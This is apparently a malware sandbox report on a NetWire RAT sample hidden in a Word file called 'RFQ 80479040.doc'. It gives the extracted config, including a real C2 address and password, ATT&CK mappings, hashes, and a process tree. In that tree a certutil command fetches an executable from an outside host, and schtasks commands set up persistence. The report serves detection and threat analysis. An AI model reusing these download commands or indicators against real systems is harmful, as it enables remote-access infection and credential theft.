netwire | 9e7f45fc3fe9b1849e1308f416aa57cf62588ca43359630649943b40fcf07856

Analysis

max time kernel
119s
max time network
135s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
30-09-2022 10:31

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General

Target

RFQ 80479040.doc
Size

62KB
MD5

6328c4a16d653cb10c3b042301b2d6c3
SHA1

4dba059a50044581f2741868ce850618a042f0b5
SHA256

9e7f45fc3fe9b1849e1308f416aa57cf62588ca43359630649943b40fcf07856
SHA512

6d46cc27a4786b0072f1a53cdbd6e3c42e646b6f441ef39eee0630e37863c90bf8c8e40ee026af7cd98ac14474ff96b787ccab941f995fd7db80d0dcc4c2725f
SSDEEP

384:OkUgY5j96eYPKNiaI1WAE7OCb8iSUR/8dEv8krqrf4INzte/DZeIESy3uGjGWi2S:OP5I5I/q/qsfZ3qHGjG/owKSqXI

Score

10^/10

netwire botnet rat spyware stealer

Malware Config

Extracted

Family

netwire

37.0.14.206:3384

Attributes

activex_autorun
false
copy_executable
true
delete_original
false
host_id
HostId-%Rand%
install_path
%AppData%\Install\Host.exe
keylogger_dir
%AppData%\Logs\
lock_executable
true
offline_keylogger
true
password
Password234
registry_autorun
false
use_mutex
false

Signatures

NetWire RAT payload 5 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/5024-151-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/5024-154-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/5024-158-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/3908-167-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/3908-168-0x0000000000400000-0x0000000000433000-memory.dmp	netwire

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

certutil.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2648	4672	certutil.exe	WINWORD.EXE

Downloads MZ/PE file
Executes dropped EXE 5 IoCs

Processes:

WinUpdate.exeWinUpdate.exeHost.exeHost.exeHost.exe

pid process

852 WinUpdate.exe
5024 WinUpdate.exe
2780 Host.exe
4220 Host.exe
3908 Host.exe

pid	process
852	WinUpdate.exe
5024	WinUpdate.exe
2780	Host.exe
4220	Host.exe
3908	Host.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WinUpdate.exeHost.exeWinUpdate.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	WinUpdate.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	Host.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	WinUpdate.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Suspicious use of SetThreadContext 2 IoCs

Processes:

WinUpdate.exeHost.exe

description	pid	process	target process
PID 852 set thread context of 5024	852	WinUpdate.exe	WinUpdate.exe
PID 2780 set thread context of 3908	2780	Host.exe	Host.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4736 schtasks.exe
3212 schtasks.exe

pid	process
4736	schtasks.exe
3212	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4672 WINWORD.EXE
4672 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

WinUpdate.exeHost.exe

pid process

852 WinUpdate.exe
2780 Host.exe
2780 Host.exe
2780 Host.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

WinUpdate.exeHost.exe

description pid process

Token: SeDebugPrivilege 852 WinUpdate.exe
Token: SeDebugPrivilege 2780 Host.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4672 WINWORD.EXE
4672 WINWORD.EXE
4672 WINWORD.EXE
4672 WINWORD.EXE
4672 WINWORD.EXE
4672 WINWORD.EXE
4672 WINWORD.EXE

pid	process
4672	WINWORD.EXE
4672	WINWORD.EXE

pid	process
852	WinUpdate.exe
2780	Host.exe
2780	Host.exe
2780	Host.exe

description	pid	process
Token: SeDebugPrivilege	852	WinUpdate.exe
Token: SeDebugPrivilege	2780	Host.exe

pid	process
4672	WINWORD.EXE
4672	WINWORD.EXE
4672	WINWORD.EXE
4672	WINWORD.EXE
4672	WINWORD.EXE
4672	WINWORD.EXE
4672	WINWORD.EXE

Suspicious use of WriteProcessMemory 39 IoCs

Processes:

WINWORD.EXEWinUpdate.exeWinUpdate.exeHost.exe

description	pid	process	target process
PID 4672 wrote to memory of 2648	4672	WINWORD.EXE	certutil.exe
PID 4672 wrote to memory of 2648	4672	WINWORD.EXE	certutil.exe
PID 4672 wrote to memory of 852	4672	WINWORD.EXE	WinUpdate.exe
PID 4672 wrote to memory of 852	4672	WINWORD.EXE	WinUpdate.exe
PID 4672 wrote to memory of 852	4672	WINWORD.EXE	WinUpdate.exe
PID 852 wrote to memory of 4736	852	WinUpdate.exe	schtasks.exe
PID 852 wrote to memory of 4736	852	WinUpdate.exe	schtasks.exe
PID 852 wrote to memory of 4736	852	WinUpdate.exe	schtasks.exe
PID 852 wrote to memory of 5024	852	WinUpdate.exe	WinUpdate.exe
PID 852 wrote to memory of 5024	852	WinUpdate.exe	WinUpdate.exe
PID 852 wrote to memory of 5024	852	WinUpdate.exe	WinUpdate.exe
PID 852 wrote to memory of 5024	852	WinUpdate.exe	WinUpdate.exe
PID 852 wrote to memory of 5024	852	WinUpdate.exe	WinUpdate.exe
PID 852 wrote to memory of 5024	852	WinUpdate.exe	WinUpdate.exe
PID 852 wrote to memory of 5024	852	WinUpdate.exe	WinUpdate.exe
PID 852 wrote to memory of 5024	852	WinUpdate.exe	WinUpdate.exe
PID 852 wrote to memory of 5024	852	WinUpdate.exe	WinUpdate.exe
PID 852 wrote to memory of 5024	852	WinUpdate.exe	WinUpdate.exe
PID 852 wrote to memory of 5024	852	WinUpdate.exe	WinUpdate.exe
PID 5024 wrote to memory of 2780	5024	WinUpdate.exe	Host.exe
PID 5024 wrote to memory of 2780	5024	WinUpdate.exe	Host.exe
PID 5024 wrote to memory of 2780	5024	WinUpdate.exe	Host.exe
PID 2780 wrote to memory of 3212	2780	Host.exe	schtasks.exe
PID 2780 wrote to memory of 3212	2780	Host.exe	schtasks.exe
PID 2780 wrote to memory of 3212	2780	Host.exe	schtasks.exe
PID 2780 wrote to memory of 4220	2780	Host.exe	Host.exe
PID 2780 wrote to memory of 4220	2780	Host.exe	Host.exe
PID 2780 wrote to memory of 4220	2780	Host.exe	Host.exe
PID 2780 wrote to memory of 3908	2780	Host.exe	Host.exe
PID 2780 wrote to memory of 3908	2780	Host.exe	Host.exe
PID 2780 wrote to memory of 3908	2780	Host.exe	Host.exe
PID 2780 wrote to memory of 3908	2780	Host.exe	Host.exe
PID 2780 wrote to memory of 3908	2780	Host.exe	Host.exe
PID 2780 wrote to memory of 3908	2780	Host.exe	Host.exe
PID 2780 wrote to memory of 3908	2780	Host.exe	Host.exe
PID 2780 wrote to memory of 3908	2780	Host.exe	Host.exe
PID 2780 wrote to memory of 3908	2780	Host.exe	Host.exe
PID 2780 wrote to memory of 3908	2780	Host.exe	Host.exe
PID 2780 wrote to memory of 3908	2780	Host.exe	Host.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\RFQ 80479040.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4672

C:\Windows\System32\certutil.exe
"C:\Windows\System32\certutil.exe" -urlcache -split -f https://teqturn.com/goblin/ea05f1fD14F2Jju.exe C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe
2⤵
- Process spawned unexpected child process
PID:2648

C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe
"C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe"
2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:852

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NksNHqr" /XML "C:\Users\Admin\AppData\Local\Temp\tmp251C.tmp"
3⤵
- Creates scheduled task(s)
PID:4736

C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe
"{path}"
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5024

C:\Users\Admin\AppData\Roaming\Install\Host.exe
"C:\Users\Admin\AppData\Roaming\Install\Host.exe"
4⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2780

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\NksNHqr" /XML "C:\Users\Admin\AppData\Local\Temp\tmp90E6.tmp"
5⤵
- Creates scheduled task(s)
PID:3212

C:\Users\Admin\AppData\Roaming\Install\Host.exe
"{path}"
5⤵
- Executes dropped EXE
PID:4220

C:\Users\Admin\AppData\Roaming\Install\Host.exe
"{path}"
5⤵
- Executes dropped EXE
PID:3908

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe

Filesize
882KB

MD5
95b5d76bfb2204011333248cc121b5a4

SHA1
6faea7983c34f12cec7d22184be0eb1693e0abaf

SHA256
849590a841b815d047cfdadf4f430a64b8b1ac03518a0e1f18923662e7f4563e

SHA512
966343713d2174f09e1f5aa4493eb79bfca3b6504ff18253449e7a153c8a249f4a52e9d0a7e7319817b284fbaa80dff94e034772cc32fb3635457cbb1f3fc152

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe

Filesize
882KB

MD5
95b5d76bfb2204011333248cc121b5a4

SHA1
6faea7983c34f12cec7d22184be0eb1693e0abaf

SHA256
849590a841b815d047cfdadf4f430a64b8b1ac03518a0e1f18923662e7f4563e

SHA512
966343713d2174f09e1f5aa4493eb79bfca3b6504ff18253449e7a153c8a249f4a52e9d0a7e7319817b284fbaa80dff94e034772cc32fb3635457cbb1f3fc152

Download Submit
C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe

Filesize
882KB

MD5
95b5d76bfb2204011333248cc121b5a4

SHA1
6faea7983c34f12cec7d22184be0eb1693e0abaf

SHA256
849590a841b815d047cfdadf4f430a64b8b1ac03518a0e1f18923662e7f4563e

SHA512
966343713d2174f09e1f5aa4493eb79bfca3b6504ff18253449e7a153c8a249f4a52e9d0a7e7319817b284fbaa80dff94e034772cc32fb3635457cbb1f3fc152

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp251C.tmp

Filesize
1KB

MD5
e3110e1fc5bfa53e5636b145c05a9dd2

SHA1
ccaaa930eae7676f078baaafef310a0e60e2b196

SHA256
7bd775873865bef88fe486aba38d1e26483aa5d9475b8f51149458eda843ba3a

SHA512
aa095af6006f03afd5003013b7e9be9e338811ee0ca1647d37d9ef203e826c7e67486f81861f70653eb6125d2f49be6878d7d705eeff8936d2fd2ca00450a314

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp90E6.tmp

Filesize
1KB

MD5
e3110e1fc5bfa53e5636b145c05a9dd2

SHA1
ccaaa930eae7676f078baaafef310a0e60e2b196

SHA256
7bd775873865bef88fe486aba38d1e26483aa5d9475b8f51149458eda843ba3a

SHA512
aa095af6006f03afd5003013b7e9be9e338811ee0ca1647d37d9ef203e826c7e67486f81861f70653eb6125d2f49be6878d7d705eeff8936d2fd2ca00450a314

Download Submit
C:\Users\Admin\AppData\Roaming\Install\Host.exe

Filesize
882KB

MD5
95b5d76bfb2204011333248cc121b5a4

SHA1
6faea7983c34f12cec7d22184be0eb1693e0abaf

SHA256
849590a841b815d047cfdadf4f430a64b8b1ac03518a0e1f18923662e7f4563e

SHA512
966343713d2174f09e1f5aa4493eb79bfca3b6504ff18253449e7a153c8a249f4a52e9d0a7e7319817b284fbaa80dff94e034772cc32fb3635457cbb1f3fc152

Download Submit
C:\Users\Admin\AppData\Roaming\Install\Host.exe

Filesize
882KB

MD5
95b5d76bfb2204011333248cc121b5a4

SHA1
6faea7983c34f12cec7d22184be0eb1693e0abaf

SHA256
849590a841b815d047cfdadf4f430a64b8b1ac03518a0e1f18923662e7f4563e

SHA512
966343713d2174f09e1f5aa4493eb79bfca3b6504ff18253449e7a153c8a249f4a52e9d0a7e7319817b284fbaa80dff94e034772cc32fb3635457cbb1f3fc152

Download Submit
C:\Users\Admin\AppData\Roaming\Install\Host.exe

Filesize
882KB

MD5
95b5d76bfb2204011333248cc121b5a4

SHA1
6faea7983c34f12cec7d22184be0eb1693e0abaf

SHA256
849590a841b815d047cfdadf4f430a64b8b1ac03518a0e1f18923662e7f4563e

SHA512
966343713d2174f09e1f5aa4493eb79bfca3b6504ff18253449e7a153c8a249f4a52e9d0a7e7319817b284fbaa80dff94e034772cc32fb3635457cbb1f3fc152

Download Submit
C:\Users\Admin\AppData\Roaming\Install\Host.exe

Filesize
882KB

MD5
95b5d76bfb2204011333248cc121b5a4

SHA1
6faea7983c34f12cec7d22184be0eb1693e0abaf

SHA256
849590a841b815d047cfdadf4f430a64b8b1ac03518a0e1f18923662e7f4563e

SHA512
966343713d2174f09e1f5aa4493eb79bfca3b6504ff18253449e7a153c8a249f4a52e9d0a7e7319817b284fbaa80dff94e034772cc32fb3635457cbb1f3fc152

Download Submit
memory/852-141-0x0000000000000000-mapping.dmp

Download
memory/852-143-0x0000000000EB0000-0x0000000000F92000-memory.dmp

Filesize
904KB

Download
memory/852-144-0x0000000005DC0000-0x0000000006364000-memory.dmp

Filesize
5.6MB

Download
memory/852-145-0x0000000005810000-0x00000000058A2000-memory.dmp

Filesize
584KB

Download
memory/852-146-0x0000000005950000-0x00000000059EC000-memory.dmp

Filesize
624KB

Download
memory/852-147-0x0000000005920000-0x000000000592A000-memory.dmp

Filesize
40KB

Download
memory/2648-139-0x0000000000000000-mapping.dmp

Download
memory/2780-155-0x0000000000000000-mapping.dmp

Download
memory/3212-159-0x0000000000000000-mapping.dmp

Download
memory/3908-168-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/3908-167-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/3908-163-0x0000000000000000-mapping.dmp

Download
memory/4220-161-0x0000000000000000-mapping.dmp

Download
memory/4672-136-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4672-171-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4672-132-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4672-137-0x00007FFD1E2C0000-0x00007FFD1E2D0000-memory.dmp

Filesize
64KB

Download
memory/4672-173-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4672-135-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4672-138-0x00007FFD1E2C0000-0x00007FFD1E2D0000-memory.dmp

Filesize
64KB

Download
memory/4672-134-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4672-172-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4672-133-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4672-170-0x00007FFD203D0000-0x00007FFD203E0000-memory.dmp

Filesize
64KB

Download
memory/4736-148-0x0000000000000000-mapping.dmp

Download
memory/5024-154-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/5024-150-0x0000000000000000-mapping.dmp

Download
memory/5024-151-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/5024-158-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download